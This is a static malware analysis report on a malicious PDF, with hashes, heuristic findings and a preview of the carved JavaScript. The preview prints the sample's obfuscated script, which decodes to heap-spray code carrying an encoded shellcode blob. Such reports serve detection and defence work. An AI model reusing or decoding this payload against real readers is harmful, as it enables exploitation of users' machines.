Malicious PDF — malware analysis report

Static analysis result for SHA-256 ed244677535eefab…

MALICIOUS

PDF

2.4 KB First seen: 2026-05-08
MD5: 57a5579e5f1b07e588baf012b44d8250 SHA-1: 5c936e3ffd34bf8bb45a8fc2f30367f2c85cf656 SHA-256: ed244677535eefab27036ccb8cbc09ba763e95f44f3c6a24a3fc57f9c955d8e8
116 Risk Score

Malware Insights

The PDF file contains embedded JavaScript, indicated by multiple heuristic firings related to PDF and JavaScript. The embedded JavaScript stream, named 'javascript_obj0005_000.js', is likely responsible for the malicious behavior. The presence of 'String.fromCharCode' suggests obfuscation, which is further supported by the 'Script obfuscation indicators' triage finding. The primary attack pattern involves exploiting PDF vulnerabilities to trigger this script, aiming to execute malicious code.

Machine Learning

  • Nyx PDF Classifier malicious score 0.9999

Heuristics 4

  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
            for (var i=0; i < list.length; i++) {
            result +=  String.fromCharCode(list[i] - jump);
        }
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0005_000.js pdf-javascript-stream PDF /JS object 5 at offset 0x107 7452 bytes
SHA-256: 28daf9da9b450eedb19e2a8838cb1b5b8c0c7f2925fcd2b8c0497515850812c8
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
sourceCode = "10,118,97,114,32,66,81,101,101,79,116,116,113,86,106,115,72,114,117,119,79,73,87,83,113,65,104,74,86,97,102,66,79,74,118,87,118,87,85,67,88,115,105,75,101,118,108,82,78,120,106,79,107,101,117,112,110,109,80,79,115,108,67,32,61,32,117,110,101,115,99,97,112,101,40,34,37,117,100,56,98,98,37,117,56,100,51,48,37,117,51,49,51,98,37,117,98,49,99,57,37,117,100,97,53,102,37,117,100,57,99,56,37,117,50,52,55,52,37,117,53,102,102,52,37,117,53,102,51,49,37,117,56,51,48,101,37,117,102,99,101,102,37,117,56,55,48,51,37,117,54,102,51,97,37,117,100,99,99,101,37,117,51,53,50,98,37,117,49,49,55,98,37,117,97,102,56,53,37,117,54,57,99,50,37,117,98,48,49,52,37,117,57,98,48,49,37,117,53,50,56,102,37,117,55,48,57,51,37,117,55,97,97,97,37,117,55,57,56,102,37,117,56,53,52,97,37,117,99,57,50,48,37,117,101,51,50,99,37,117,49,50,53,56,37,117,50,99,98,51,37,117,48,100,102,50,37,117,100,52,100,53,37,117,102,52,49,54,37,117,102,52,55,51,37,117,56,51,102,102,37,117,101,98,52,56,37,117,49,97,50,54,37,117,52,97,97,50,37,117,102,54,99,98,37,117,53,101,54,54,37,117,56,49,48,54,37,117,99,53,56,56,37,117,57,102,98,50,37,117,52,51,97,100,37,117,102,100,100,56,37,117,54,51,50,51,37,117,97,98,53,48,37,117,52,52,51,48,37,117,54,51,97,53,37,117,102,99,97,97,37,117,49,49,97,48,37,117,54,98,100,57,37,117,52,50,50,54,37,117,48,49,49,100,37,117,56,49,102,55,37,117,49,54,48,102,37,117,52,51,99,49,37,117,48,97,54,101,37,117,48,56,49,50,37,117,102,52,102,101,37,117,50,57,54,100,37,117,97,48,101,99,37,117,54,97,54,51,37,117,100,51,97,99,37,117,100,99,100,101,37,117,55,57,98,55,37,117,55,54,56,54,37,117,56,49,49,55,37,117,49,55,50,53,37,117,97,50,56,97,37,117,56,100,99,102,37,117,48,52,102,49,37,117,50,97,97,56,37,117,101,100,57,102,37,117,100,53,53,97,37,117,53,55,51,97,37,117,56,54,52,57,37,117,48,54,50,56,37,117,49,55,55,55,37,117,99,52,100,97,37,117,53,52,99,101,37,117,50,56,55,57,37,117,53,51,97,49,37,117,51,48,49,98,37,117,55,57,100,98,37,117,100,55,52,51,37,117,98,50,49,55,37,117,49,57,49,100,37,117,56,102,99,50,37,117,101,52,102,48,37,117,57,55,102,101,37,117,57,55,51,53,37,117,51,101,97,52,37,117,99,49,50,99,37,117,49,102,98,102,37,117,51,100,99,53,37,117,56,54,54,48,37,117,100,56,55,101,37,117,100,98,55,51,37,117,55,52,57,57,37,117,100,99,57,50,37,117,102,102,56,48,37,117,102,48,49,99,37,117,48,99,102,49,37,117,51,101,101,55,37,117,51,99,57,102,37,117,101,48,54,100,37,117,53,98,102,100,37,117,101,52,52,98,37,117,97,55,52,57,37,117,99,57,48,97,37,117,99,53,50,99,37,117,48,100,53,50,37,117,54,102,99,57,37,117,98,52,51,101,37,117,52,54,50,51,37,117,56,57,102,53,37,117,51,102,55,100,37,117,55,48,99,52,37,117,56,53,54,99,37,117,98,48,49,49,37,117,99,98,102,54,37,117,56,100,99,98,37,117,49,100,57,49,37,117,97,55,54,54,37,117,57,55,48,55,37,117,101,101,54,53,37,117,98,55,53,98,37,117,100,98,53,100,37,117,102,50,54,98,37,117,57,48,51,56,37,117,99,51,98,48,37,117,53,100,102,55,37,117,54,101,52,48,37,117,102,98,97,101,37,117,100,49,100,102,37,117,57,100,51,55,37,117,102,48,55,57,37,117,56,99,52,52,37,117,101,55,52,102,37,117,98,52,52,51,37,117,48,53,56,56,37,117,97,51,53,54,37,117,49,99,100,53,37,117,97,97,52,51,37,117,49,100,102,56,37,117,48,54,55,57,37,117,51,52,101,52,37,117,54,97,54,102,37,117,49,53,49,49,37,117,55,57,56,48,37,117,53,99,50,54,37,117,56,98,56,99,37,117,52,49,51,99,37,117,101,97,57,55,37,117,55,50,48,100,37,117,100,48,100,102,37,117,56,102,55,51,37,117,55,49,100,97,37,117,57,49,97,102,37,117,54,99,101,98,37,117,97,51,57,100,37,117,57,50,101,55,37,117,98,57,101,54,37,117,98,102,54,49,37,117,98,97,101,49,37,117,101,97,54,102,37,117,99,48,102,101,37,117,101,99,55,98,37,117,100,54,49,52,37,117,57,53,97,52,37,117,102,99,48,55,37,117,53,49,97,48,37,117,102,52,50,49,37,117,53,53,100,50,37,117,50,101,48,53,37,117,57,51,51,57,37,117,50,54,55,52,37,117,97,100,51,55,37,117,51,52,55,49,37,117,97,55,55,53,37,117,51,55,53,100,37,117,98,98,55,51,37,117,50,49,98,97,37,117,51,55,49,52,37,117,50,50,52,102,37,117,57,56,100,102,37,117,98,53,56,48,37,117,57,49,54,56,37,117,53,101,102,48,37,117,50,57,102,54,37,117,99,101,54,53,37,117,98,52,57,53,37,117,55,51,53,98,37,117,53,98,48,57,37,117,51,53,56,98,37,117,102,53,57,57,37,117,100,48,57,55,37,117,57,99,53,51,37,117,53,55,55,52,37,117,51,98,98,97,37,117,102,50,48,51,37,117,52,49,52,50,34,41,59,10,118,97,114,32,120,74,105,101,98,98,111,80,121,117,71,109,116,78,90,73,81,80,87,100,68,83,86,119,101,81,66,90,113,108,84,102,86,101,74,122,80,87,110,118,78,86,115,80,81,69,101,77,90,119,76,88,116,86,89,87,86,98,105,110,79,104,101,72,117,108,106,76,114,110,101,83,120,113,98,119,76,113,83,83,90,32,61,32,117,110,101,115,99,97,112,101,40,34,37,117,57,50,52,54,37,117,51,55,50,102,34,41,59,10,10,119,104,105,108,101,32,40,120,74,105,101,98,98,111,80,121,117,71,109,116,78,90,73,81,80,87,100,68,83,86,119,101,81,66,90,113,108,84,102,86,101,74,122,80,87,110,118,78,86,115,80,81,69,101,77,90,119,76,88,116,86,89,87,86,98,105,110,79,104,101,72,117,108,106,76,114,110,101,83,120,113,98,119,76,113,83,83,90,46,108,101,110,103,116,104,32,60,32,49,48,52,56,53,52,52,41,10,32,32,120,74,105,101,98,98,111,80,121,117,71,109,116,78,90,73,81,80,87,100,68,83,86,119,101,81,66,90,113,108,84,102,86,101,74,122,80,87,110,118,78,86,115,80,81,69,101,77,90,119,76,88,116,86,89,87,86,98,105,110,79,104,101,72,117,108,106,76,114,110,101,83,120,113,98,119,76,113,83,83,90,32,43,61,32,120,74,105,101,98,98,111,80,121,117,71,109,116,78,90,73,81,80,87,100,68,83,86,119,101,81,66,90,113,108,84,102,86,101,74,122,80,87,110,118,78,86,115,80,81,69,101,77,90,119,76,88,116,86,89,87,86,98,105,110,79,104,101,72,117,108,106,76,114,110,101,83,120,113,98,119,76,113,83,83,90,59,10,120,74,105,101,98,98,111,80,121,117,71,109,116,78,90,73,81,80,87,100,68,83,86,119,101,81,66,90,113,108,84,102,86,101,74,122,80,87,110,118,78,86,115,80,81,69,101,77,90,119,76,88,116,86,89,87,86,98,105,110,79,104,101,72,117,108,106,76,114,110,101,83,120,113,98,119,76,113,83,83,90,32,61,32,120,74,105,101,98,98,111,80,121,117,71,109,116,78,90,73,81,80,87,100,68,83,86,119,101,81,66,90,113,108,84,102,86,101,74,122,80,87,110,118,78,86,115,80,81,69,101,77,90,119,76,88,116,86,89,87,86,98,105,110,79,104,101,72,117,108,106,76,114,110,101,83,120,113,98,119,76,113,83,83,90,46,115,117,98,115,116,114,105,110,103,40,48,44,32,49,48,52,56,53,52,52,32,45,32,66,81,101,101,79,116,116,113,86,106,115,72,114,117,119,79,73,87,83,113,65,104,74,86,97,102,66,79,74,118,87,118,87,85,67,88,115,105,75,101,118,108,82,78,120,106,79,107,101,117,112,110,109,80,79,115,108,67,46,108,101,110,103,116,104,41,59,10,109,101,109,111,114,121,32,61,32,110,101,119,32,65,114,114,97,121,40,41,59,10,102,111,114,40,105,32,61,32,48,59,32,105,32,60,32,49,50,56,59,32,105,43,43,41,10,123,10,9,109,101,109,111,114,121,91,105,93,61,32,120,74,105,101,98,98,111,80,121,117,71,109,116,78,90,73,81,80,87,100,68,83,86,119,101,81,66,90,113,108,84,102,86,101,74,122,80,87,110,118,78,86,115,80,81,69,101,77,90,119,76,88,116,86,89,87,86,98,105,110,79,104,101,72,117,108,106,76,114,110,101,83,120,113,98,119,76,113,83,83,90,32,43,32,66,81,101,101,79,116,116,113,86,106,115,72,114,117,119,79,73,87,83,113,65,104,74,86,97,102,66,79,74,118,87,118,87,85,67,88,115,105,75,101,118,108,82,78,120,106,79,107,101,117,112,110,109,80,79,115,108,67,59,10,125,10"; 
function decrypt(str, jump){
var result = "";
var list = str.split(',');
        for (var i=0; i < list.length; i++) {
            result +=  String.fromCharCode(list[i] - jump);
        }
        return result;
        }

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